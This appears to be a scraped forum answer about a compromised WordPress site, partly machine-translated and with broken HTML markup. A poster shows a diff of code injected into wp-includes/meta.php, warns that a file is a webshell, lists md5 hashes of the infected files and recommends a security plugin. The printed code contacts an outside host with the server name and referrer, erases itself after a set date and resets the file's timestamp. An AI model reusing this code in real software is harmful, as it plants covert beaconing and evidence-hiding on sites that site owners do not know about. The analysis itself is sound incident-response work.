立即删除文件！</ em> </ strong> </ p>

< p>此 PHP </ code>代码是经过修改的 webshel​​l 。 这些可能会被用来攻击其他网站，并可能导致严重的法律问题！</ p>

删除后，你应该</ em>也修复让文件进入的泄漏！</ p>
</ div>

Yes, the PHP script allows to run code on the Server.

Source: http://wordpressvirusremoval.com/blog/execute-a-php-code-through-post-veriable-with-preg_replace-e-modifier/

Through diff'ing with a clean WP tarball, I found meta.php was modified:

988,1004d987
<
< check_meta();
< function check_meta(){
<     $jp = __FILE__;
<     $jptime = filemtime($jp);
<
<     if(time() >= 1472456239){
<         $jp_c = file_get_contents($jp);
<         if($t = @strpos($jp_c,"check_meta();")) {
<             $contentp = substr($jp_c,0,$t);
<             if(@file_put_contents($jp, $contentp)){
<                 @touch($jp,$jptime);
<             }
<         }
<     }
<     @file_get_contents("http://web.51.la:82/go.asp?svid=1&id=18944722&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/wp-includes/mera.php");
< }

FYI, here are the md5sums of infected files:

898af479fe6cc3af461c1878763d19f4  ./wp-includes/meta.php
b657d7c9d9be52771750091df0751fda  ./wp-includes/mera.php

您应该在您的网站上安装类似Wordfence插件的内容，这将连续检查所有插件和主题文件夹 发布版本。 它还有助于防止像这样的危险文件上传。 </ p>
</ div>